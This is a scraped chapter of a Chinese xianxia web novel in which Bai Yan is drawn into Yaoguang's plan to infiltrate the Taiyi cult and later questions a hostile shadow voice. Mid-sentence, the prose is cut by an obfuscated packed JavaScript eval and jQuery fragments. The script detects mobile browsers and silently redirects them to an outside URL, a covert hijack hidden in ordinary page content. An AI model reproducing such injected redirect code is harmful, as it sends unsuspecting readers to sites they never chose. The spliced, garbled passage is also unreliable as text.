39. 吉神院(十二)

作品:《仙门走狗悄悄成神

    “你什么时候也变得和小静一样一板一眼了?”摇光因白焰的反应笑得更愉快些,他手托了腮,此时望着白焰,目光灼亮,“白日时你去见了悉舅舅,他有没有拉拢你?”


    摇光的耳目还触不到乾达宫?……这倒不使白焰意外,毕竟,悉香乐一看就不是省油的灯。


    “他告诉我,无论失忆与否,若遇到难处,可去寻他。”白焰并不打算隐瞒。


    “悉舅舅就爱说这种冠冕堂皇的话。”摇光似乎满意于白焰的回答,当下端起一旁宫人递的酒樽,又品尝起来,“还有吗?”


    “他还让我带话给你,‘教训要记住,下不为例。’”


    如是,摇光饮酒的动作滞了片刻,他摸一摸唇角的淤青,眼底一片发暗:“的确,是使人印象深刻的教训,不是吗?”


    白焰没有回答他。


    摇光于是又微微笑起来道:“悉舅舅要防神宫丑闻外露,又要给他的同僚们交代,着实头疼得很。


    “他知我有心与他分权,也知我有多看重你,必定会拿你我关系来做文章。你可别叫他失望。”


    摇光言下之意,是要自己与悉香乐建立联系,做双面间谍……甚至这可能本来就是原主先前在做的事情……


    白焰要想对付摇光,便需要左右腾挪,建立尽量多的人际关系……为此她倒挺乐意这样做,只是,她有些意外的是,摇光似乎一点也不担心自己借机背叛他,跳转到悉香乐阵营。


    他真的有这么信任自己?……或者说,他信任的,其实是悉香乐?……虽然脑子飞快转着,白焰表面只点点头,道:“我知道了。还有呢?”


    摇光想要掌控吉神院,大可以走收买架空的路线,就像他对陶礼做的那样,冒着风险,大费周折地杀死昙渊不是上策,尤其那还是在他知晓杀死昙渊可以收获两枚血赤石之前……


    白焰也还记得昙渊死前,摇光胡乱为她安的那些罪名。其中有一条,自己一直相当在意……


    “不愧是我们焰焰,真是冰雪聪明啊。”摇光赞赏地冲她一笑,此刻端着酒樽站起身来,边饮酒边抚摸着泉池边装饰的夜昙花,沉默半晌才又开口道:“的确,还有一件事情。


    “昙渊有极大可能与太一邪宗有染。她死后,太一邪宗恐怕会想方设法接触新的吉神院院主,也就是你。


    “我需要你与他们取得联系,尽可能多的了解他们的消息。”


    竟然真的是因为太一邪宗?!……白焰即便已经有所怀疑,一瞬还是亮起了眼睛……摇光对太一邪宗感兴趣,这才是他一定要杀死昙渊,强扶自己上位的理由!!……白焰强压着心潮的澎湃,又问摇光:“太一邪宗是什么?”


    “一个由来已久的邪修教派,信奉太一神。


    “他们的存在十分隐秘,要不是前段时间,小静意外在吉神院抓住了一个行迹可疑的弟子,对他严刑拷问,我也以为那只是传说里的产物。”摇光说着,此刻回身望向白焰,神情难得正经起来,“由现在掌握的线索,他们中不止一人混入了日御神宫,但他并不知道除他以外的人都有谁。


    “可以确定的是,他们崇拜,甚至有意喂养神煞,他们认为神煞是太一神降临以前,在神州汲取力量的方式。”


    白焰因他此言,瞬间想起了春墟神煞里那些戴着笠面,穿着红白袍的疯子,和他们崇拜的,四眼八手的骷髅死神……


    那死神会就是太一神的形象吗?


    但王翮说死神拥有八手脊,那祂和慕容泪,还有银色大厅那液罐里的怪物之间,又有何联系?……


    但这些都不是能问摇光的问题。白焰此刻想了想,继续问他:“那弟子现在何处?”


    “他被折磨个两时辰后,突然活活吓死了。”


    “……活活吓死?”白焰翳蹙了眉,神思一动:“这是你怀疑昙渊与太一邪宗有染的理由。”


    “‘镜花水月’的确是很好用的能力,你也亲身感受过了不是吗?”摇光道:“如果你对他的刑讯记录感兴趣,可以去找小静要。”


    “我知道了。”白焰略微一行礼,摇光主动让自己接触太一邪宗,这对她而言,堪称意外之喜。


    摇光这会儿说完正事,盯着她又看了一会儿,突然欲求不满地问她:“除了‘知道了’,还是‘知道了’,你就没有别的话要说吗?”


    “……譬如?”白焰手指捏紧,警惕他又要突然发神经。


    “譬如……你不是和悉舅舅约好了三个月内要再解神煞吗?到时候我也与你同去如何?”摇光很为自己突然想到的好主意,露出兴奋的表情,“毕竟上次在纷纷院里,我们都这样约好了。”


    白焰并没有忘记,上次在纷纷院,他拿繁若弩对着谢玦脑门的事情……然而此刻她只是冷着脸,不动声色道:“你不该去。


    “元婴修士无法进入神煞,这意味着你不能带赫连。不能带赫连的地方,对你不够安全。”


    至于血赤石,如若自己真能解开神煞,摇光随时都可以从自己这里收回。他完全不是色令智昏的类型,不可能用自身的安危去冒险。


    之所以这么说,不过是想戏弄、试探自己。


    “我们焰焰虽然失忆了,却还是和以前一样关心我的安危呢。”摇光微微笑起来,弯起的眼里却没有一丝笑意。


    他有些郁闷,最近焰焰总是让人挑不出错,却又不能感受到她的臣服……机警狡猾,虽然这也是摇光喜欢她的理由之一,但……这样平淡的反应总归有些无趣,不是他想要的。


    白焰为摇光的假笑再次心生警觉,此刻她退一步行礼道:“没有别的事情我先回去了。”


    “好啊,”摇光颇愉快地说着,却在她转身离开时,又坐回榻椅上,在她身后悠悠地开口:“你这两天也没理会小玦,要是厌烦他的话……不如将他送来我这里,怎么样?”


    白焰猛然转头看他,这样劝解的语气,这样醇至无害的笑容,如果是初次见面,一定会误会摇光是个很温柔的人。


    而白焰咬紧牙关两眼通红,从刚才开始就一直滑向失控的情绪,此刻终于彻底爆炸。


    她竭力抑制着身体的发抖,并没有回应摇光的话,此刻怒气冲冲地踏步而去!


    走到曲阿汤外面的白焰,再也无法忍受胸口的怒火,引星火坠向宫殿外的一座水上小亭!轰隆一声暴响,几乎是瞬间,火点便在风势的作用下熊熊燃烧起来,赤红色的火焰很快就吞噬了小亭!


    宫人在殿外看见,魂飞魄散地慌忙进来,头也不敢抬地向摇光汇报情况。


    “没关系,让她烧。”摇光饮着酒,甜蜜的笑容在脸上绽开,终于感到了一丝残忍的快意。


    而那个已经做好了被杀死准备的宫人,此刻依然畏惧地缩紧身子,不确定危机已经解除。


    看着夜幕里蓬蓬熊熊的红色火焰,白焰大口喘息着,甚至终于清明了一些。


    她脑中依旧飞快闪动着刚才发生的一切,那些尸体的表情,血与檀香,令人作呕的味道,摇光粲然的笑脸,多情专注的目光……


    他是故意激怒自己!他想挑动自己的情绪,看自己屈从于恐惧又无可奈何的样子,并以此为乐!!……


    想到这里,白焰咬牙,身体再次止不住颤抖起来,感到了难以忍受的恨意和屈辱!她也在心头暗暗发誓,终有一天,一定要让摇光知晓,惹怒自己的代价!!


    白焰终于回到纷纷院的时候,天又已经快要亮了。


    推门进去,这次倒是没有看见谢玦,他多半是已经睡了。


    白焰心想着,突然又不放心,走到杏花树下他住的柴房边,透过直棂窗往里看,就着一点幽暗的月光,看见他安稳睡在小竹床上,方才松一口气。


    但只一瞬,她眉头又蹙起来。


    白焰还不知道该怎么处理谢玦。送去给摇光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322100|194979||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,曲阿汤里的那些尸首就是他的下场,哪怕只是为了恶心自己一下,摇光也绝不可能放过他。


    可如果不送……如果不送的话,又是否会有什么差别?


    回到自己房间,白焰发现桌上竟然又放着谢玦做的晚餐。乌饭、莼羹、肉丸、藠头……每一样看卖相就很难让人有食欲。实际吃起来……也是和它们外表一样的难以下咽。


    但白焰没有停筷,从物资匮乏的末世穿越过来的她,浪费食物这种事情暂时还做不出来。


    这当她苦兮兮吃那些饭的时候,一个已经消停了两天的轻悄声音,此刻突然又在她耳畔响起,“还敢吃他做的饭,看来你是不怕害死他。”


    白焰疲惫,才刚应付完一个变态,又来一个窥私狂,真不知道这种日子什么时候是个头?


    但黑影愿意主动开口总归是好的,白焰于是又打起精神,耐心向他解释道:“摇光喜欢看我的情绪反应,最好是掠夺走我重要的东西。


    “但遗憾的是,那些东西早都已经被他搜刮干净了。谢玦不算什么,就算弄死他,我也不会有太多反应,这点他很清楚。


    “除非——我能延长摇光对于谢玦的兴趣,让他相信,谢玦对我来说,有些不一样。”


    “……你以为你很了解摇光?”黑影嗤笑着,语气里颇有几分不屑。


    又是摇光……白焰注意到,黑影好几次提及摇光时的态度,都有些……有些不一样,像是带着刻薄的针锋,又像是某种过分的关注……但白焰暂时还不能确定,这具体是出于什么?


    她决定再试探一下,于是,她反问黑影:“你很了解?”


    “别想诈我。”黑影凶狠地警告,“我不会告诉你任何有关于摇光的事情,我要亲眼看着你被他折磨,痛苦,绝望,但是毫无办法。”


    他冷淡轻悄的语气,带着深深的恶意,似一柄钢刀灌入白焰耳脉,使她瞬间脊背发凉。


    “那么看来,你是与我有仇?”白焰眯起眼睛,镇定地问他:“还是说,与原来的我有仇?”


    但黑影又开始装死,不再理会她。


    白焰不断告诫自己不要发火,不要和这种家伙计较。她闭眼努力平复了一会儿,当下决心铤而走险,“我要杀摇光。”


    她说着看向自己的影子,目光锋利如刀,坚定异常。


    心脏却随呼吸咚咚跳得越来越快。


    一段时间里,房内依然只有寂静的沉默和跃动的烛光。


    就在白焰以为这次也不会有什么反应的时候,自己的影子突然又咧嘴,绽开一个诡异的笑脸。


    同时他也嘻嘻笑着,在白焰耳边轻声低语:“你果然是狠心的女人,摇光对你‘如此深情’,你却竟然想着杀他?”


    白焰察觉出其中幸灾乐祸的意味,心弦稍微松开一些。看来自己的判断并没有错,黑影对摇光的态度微妙。他喜欢用摇光恐吓自己,却又不想让自己以为摇光很厉害,当自己表现出攻击摇光的意图时,他会高兴。


    “要是心疼他,你也可以向他告密。”白焰此刻进一步道。


    “……不要再试探我!”黑影瞬间又对白焰展开了防备的屏障,冷冷道:“我奉劝你,要是想在这神宫里多活一会儿,还是把这个不切实际的念头收起来。”


    之后,无论白焰再问他什么,他都不再回应。


    总是这样。每当黑影意识到自己的试探,就会即刻终止对话。就好像,自己能摸着那些话,把他从藏身的黑暗里面揪出来似的……


    白焰心里吐槽着,再一次应证了自己有多讨厌和他这样阴暗、情绪化的家伙对话。


    但至少确定了黑影的确对摇光有恶感,这对白焰来说,已经算是收获了。


    之后,白焰快速地吃晚饭,收掉碗筷,再打水冲洗身体,做完这一切,她便扑倒在床上,瞬间昏睡过去。在太阳升起以前,终于结束了这漫长的一天。